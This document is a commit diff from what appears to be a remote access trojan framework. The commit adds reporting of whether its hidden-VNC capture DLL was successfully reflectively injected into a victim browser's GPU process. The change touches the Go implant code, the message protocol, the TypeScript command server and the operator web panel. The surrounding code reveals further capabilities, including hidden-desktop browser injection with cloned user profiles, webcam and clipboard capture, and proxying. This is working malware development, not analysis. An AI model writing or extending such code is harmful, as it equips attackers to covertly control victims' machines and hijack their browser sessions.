add a way to show if HVNC DXGI injection actually worked
This commit is contained in:
@@ -13,7 +13,8 @@ func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes
|
|||||||
}
|
}
|
||||||
|
|
||||||
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
||||||
|
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
||||||
|
|
||||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error {
|
||||||
return errors.New("HVNC injection not supported on this platform")
|
return errors.New("HVNC injection not supported on this platform")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -35,6 +35,9 @@ var (
|
|||||||
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
||||||
|
|
||||||
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
||||||
|
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
||||||
|
|
||||||
|
var hvncDXGIStatusCallback atomic.Value
|
||||||
|
|
||||||
const (
|
const (
|
||||||
PROCESS_CREATE_THREAD = 0x0002
|
PROCESS_CREATE_THREAD = 0x0002
|
||||||
@@ -125,7 +128,10 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
|
|||||||
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
|
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
|
||||||
// If clone is false, it starts the browser with injection but no path redirection.
|
// If clone is false, it starts the browser with injection but no path redirection.
|
||||||
// browser should be one of: "chrome", "brave", "edge".
|
// browser should be one of: "chrome", "brave", "edge".
|
||||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error {
|
||||||
|
if onDXGIStatus != nil {
|
||||||
|
hvncDXGIStatusCallback.Store(onDXGIStatus)
|
||||||
|
}
|
||||||
info, ok := browserInfoMap[strings.ToLower(browser)]
|
info, ok := browserInfoMap[strings.ToLower(browser)]
|
||||||
if !ok {
|
if !ok {
|
||||||
return fmt.Errorf("unknown browser %q", browser)
|
return fmt.Errorf("unknown browser %q", browser)
|
||||||
@@ -194,7 +200,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
|||||||
|
|
||||||
// StartHVNCChromeInjected is kept for backward compatibility.
|
// StartHVNCChromeInjected is kept for backward compatibility.
|
||||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil)
|
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
type browserInfo struct {
|
type browserInfo struct {
|
||||||
@@ -743,6 +749,9 @@ func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
|
|||||||
if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
|
if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
|
||||||
log.Printf("hvnc inject: HVNCCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
|
log.Printf("hvnc inject: HVNCCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
|
||||||
procCloseHandle.Call(hProcess)
|
procCloseHandle.Call(hProcess)
|
||||||
|
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||||
|
fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID))
|
||||||
|
}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
procCloseHandle.Call(hProcess)
|
procCloseHandle.Call(hProcess)
|
||||||
@@ -750,10 +759,16 @@ func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
|
|||||||
log.Printf("hvnc inject: HVNCCapture DLL injected into GPU PID %d", gpuPID)
|
log.Printf("hvnc inject: HVNCCapture DLL injected into GPU PID %d", gpuPID)
|
||||||
hvncRegisterInjectedPID(gpuPID)
|
hvncRegisterInjectedPID(gpuPID)
|
||||||
hvncRegisterGPUPID(browserPID, gpuPID)
|
hvncRegisterGPUPID(browserPID, gpuPID)
|
||||||
|
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||||
|
fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID))
|
||||||
|
}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID)
|
log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID)
|
||||||
|
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||||
|
fn(false, 0, "DXGI injection failed: GPU process not found")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func findGPUChildProcess(parentPID uint32) (uint32, error) {
|
func findGPUChildProcess(parentPID uint32) (uint32, error) {
|
||||||
|
|||||||
@@ -1559,7 +1559,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil {
|
onDXGIStatus := func(success bool, gpuPID uint32, message string) {
|
||||||
|
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCDXGIStatus{
|
||||||
|
Type: "hvnc_dxgi_status",
|
||||||
|
Success: success,
|
||||||
|
GPUPid: gpuPID,
|
||||||
|
Message: message,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus); err != nil {
|
||||||
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -232,6 +232,13 @@ type HVNCCloneProgress struct {
|
|||||||
Status string `msgpack:"status"`
|
Status string `msgpack:"status"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type HVNCDXGIStatus struct {
|
||||||
|
Type string `msgpack:"type"`
|
||||||
|
Success bool `msgpack:"success"`
|
||||||
|
GPUPid uint32 `msgpack:"gpuPid"`
|
||||||
|
Message string `msgpack:"message"`
|
||||||
|
}
|
||||||
|
|
||||||
type HVNCLookupResult struct {
|
type HVNCLookupResult struct {
|
||||||
Type string `msgpack:"type"`
|
Type string `msgpack:"type"`
|
||||||
Exe string `msgpack:"exe"`
|
Exe string `msgpack:"exe"`
|
||||||
|
|||||||
@@ -346,6 +346,38 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
|||||||
cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`;
|
cloneProgressLabel.textContent = `Cloning ${browser} — ${copiedMB} / ${totalMB} MB`;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const dxgiStatusEl = document.getElementById("dxgiStatus");
|
||||||
|
const dxgiStatusIcon = document.getElementById("dxgiStatusIcon");
|
||||||
|
const dxgiStatusLabel = document.getElementById("dxgiStatusLabel");
|
||||||
|
let dxgiHideTimer = null;
|
||||||
|
|
||||||
|
function handleDXGIStatus(msg) {
|
||||||
|
if (!dxgiStatusEl) return;
|
||||||
|
if (dxgiHideTimer) {
|
||||||
|
clearTimeout(dxgiHideTimer);
|
||||||
|
dxgiHideTimer = null;
|
||||||
|
}
|
||||||
|
dxgiStatusEl.classList.remove("hidden");
|
||||||
|
dxgiStatusEl.classList.add("flex");
|
||||||
|
if (msg.success) {
|
||||||
|
dxgiStatusIcon.className = "fa-solid fa-microchip text-emerald-400";
|
||||||
|
dxgiStatusLabel.textContent = msg.message || "DXGI active";
|
||||||
|
dxgiStatusLabel.className = "text-emerald-300";
|
||||||
|
dxgiHideTimer = setTimeout(() => {
|
||||||
|
dxgiStatusEl.classList.add("hidden");
|
||||||
|
dxgiStatusEl.classList.remove("flex");
|
||||||
|
}, 8000);
|
||||||
|
} else {
|
||||||
|
dxgiStatusIcon.className = "fa-solid fa-microchip text-rose-400";
|
||||||
|
dxgiStatusLabel.textContent = msg.message || "DXGI failed";
|
||||||
|
dxgiStatusLabel.className = "text-rose-300";
|
||||||
|
dxgiHideTimer = setTimeout(() => {
|
||||||
|
dxgiStatusEl.classList.add("hidden");
|
||||||
|
dxgiStatusEl.classList.remove("flex");
|
||||||
|
}, 10000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
function sendCmd(type, payload) {
|
function sendCmd(type, payload) {
|
||||||
if (!activeClientId) {
|
if (!activeClientId) {
|
||||||
console.warn("No active client selected");
|
console.warn("No active client selected");
|
||||||
@@ -721,6 +753,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
|||||||
handleLookupResult(msg);
|
handleLookupResult(msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||||
|
handleDXGIStatus(msg);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (msg && msg.type === "hvnc_error") {
|
if (msg && msg.type === "hvnc_error") {
|
||||||
console.error("hvnc: server error:", msg.error || msg.message);
|
console.error("hvnc: server error:", msg.error || msg.message);
|
||||||
return;
|
return;
|
||||||
@@ -748,6 +784,10 @@ import { checkFeatureAccess } from "./feature-gate.js";
|
|||||||
handleLookupResult(msg);
|
handleLookupResult(msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||||
|
handleDXGIStatus(msg);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (msg && msg.type === "hvnc_error") {
|
if (msg && msg.type === "hvnc_error") {
|
||||||
console.error("hvnc: server error:", msg.error || msg.message);
|
console.error("hvnc: server error:", msg.error || msg.message);
|
||||||
return;
|
return;
|
||||||
|
|||||||
@@ -100,6 +100,13 @@
|
|||||||
</div>
|
</div>
|
||||||
<span id="cloneProgressPct" class="pill pill-ghost font-mono text-violet-200 min-w-[3ch] text-right">0%</span>
|
<span id="cloneProgressPct" class="pill pill-ghost font-mono text-violet-200 min-w-[3ch] text-right">0%</span>
|
||||||
</div>
|
</div>
|
||||||
|
<div
|
||||||
|
id="dxgiStatus"
|
||||||
|
class="hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm"
|
||||||
|
>
|
||||||
|
<i id="dxgiStatusIcon" class="fa-solid fa-microchip text-emerald-400"></i>
|
||||||
|
<span id="dxgiStatusLabel">DXGI</span>
|
||||||
|
</div>
|
||||||
<div
|
<div
|
||||||
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
||||||
>
|
>
|
||||||
|
|||||||
@@ -87,6 +87,7 @@ import {
|
|||||||
handleWebcamDevices,
|
handleWebcamDevices,
|
||||||
handleHVNCCloneProgress,
|
handleHVNCCloneProgress,
|
||||||
handleHVNCLookupResult,
|
handleHVNCLookupResult,
|
||||||
|
handleHVNCDXGIStatus,
|
||||||
handleClipboardContent,
|
handleClipboardContent,
|
||||||
handleRemoteDesktopViewerMessage,
|
handleRemoteDesktopViewerMessage,
|
||||||
handleRemoteDesktopViewerOpen,
|
handleRemoteDesktopViewerOpen,
|
||||||
@@ -605,6 +606,7 @@ async function startServer() {
|
|||||||
handleWebcamDevices,
|
handleWebcamDevices,
|
||||||
handleHVNCCloneProgress,
|
handleHVNCCloneProgress,
|
||||||
handleHVNCLookupResult,
|
handleHVNCLookupResult,
|
||||||
|
handleHVNCDXGIStatus,
|
||||||
handleClipboardContent,
|
handleClipboardContent,
|
||||||
cleanupVoiceViewer,
|
cleanupVoiceViewer,
|
||||||
stopConsoleOnTarget,
|
stopConsoleOnTarget,
|
||||||
|
|||||||
@@ -82,6 +82,7 @@ type WsLifecycleDeps = {
|
|||||||
handleWebcamDevices: (clientId: string, payload: any) => void;
|
handleWebcamDevices: (clientId: string, payload: any) => void;
|
||||||
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
||||||
handleHVNCLookupResult: (clientId: string, payload: any) => void;
|
handleHVNCLookupResult: (clientId: string, payload: any) => void;
|
||||||
|
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||||
@@ -586,6 +587,9 @@ export async function handleWebSocketMessage(
|
|||||||
case "hvnc_lookup_result":
|
case "hvnc_lookup_result":
|
||||||
deps.handleHVNCLookupResult(client.id, payload);
|
deps.handleHVNCLookupResult(client.id, payload);
|
||||||
break;
|
break;
|
||||||
|
case "hvnc_dxgi_status":
|
||||||
|
deps.handleHVNCDXGIStatus(client.id, payload);
|
||||||
|
break;
|
||||||
case "clipboard_content":
|
case "clipboard_content":
|
||||||
deps.handleClipboardContent(client.id, payload);
|
deps.handleClipboardContent(client.id, payload);
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -610,6 +610,17 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function handleHVNCDXGIStatus(clientId: string, payload: any) {
|
||||||
|
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||||
|
safeSendViewer(session.viewer, {
|
||||||
|
type: "hvnc_dxgi_status",
|
||||||
|
success: !!payload.success,
|
||||||
|
gpuPid: Number(payload.gpuPid) || 0,
|
||||||
|
message: String(payload.message || ""),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
export function handleClipboardContent(clientId: string, payload: any) {
|
export function handleClipboardContent(clientId: string, payload: any) {
|
||||||
const text = String(payload.text || "");
|
const text = String(payload.text || "");
|
||||||
const source = String(payload.source || "");
|
const source = String(payload.source || "");
|
||||||
|
|||||||
@@ -29,6 +29,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
|||||||
"webcam_devices",
|
"webcam_devices",
|
||||||
"hvnc_clone_progress",
|
"hvnc_clone_progress",
|
||||||
"hvnc_lookup_result",
|
"hvnc_lookup_result",
|
||||||
|
"hvnc_dxgi_status",
|
||||||
"clipboard_content",
|
"clipboard_content",
|
||||||
"proxy_data",
|
"proxy_data",
|
||||||
"proxy_close",
|
"proxy_close",
|
||||||
|
|||||||
Reference in New Issue
Block a user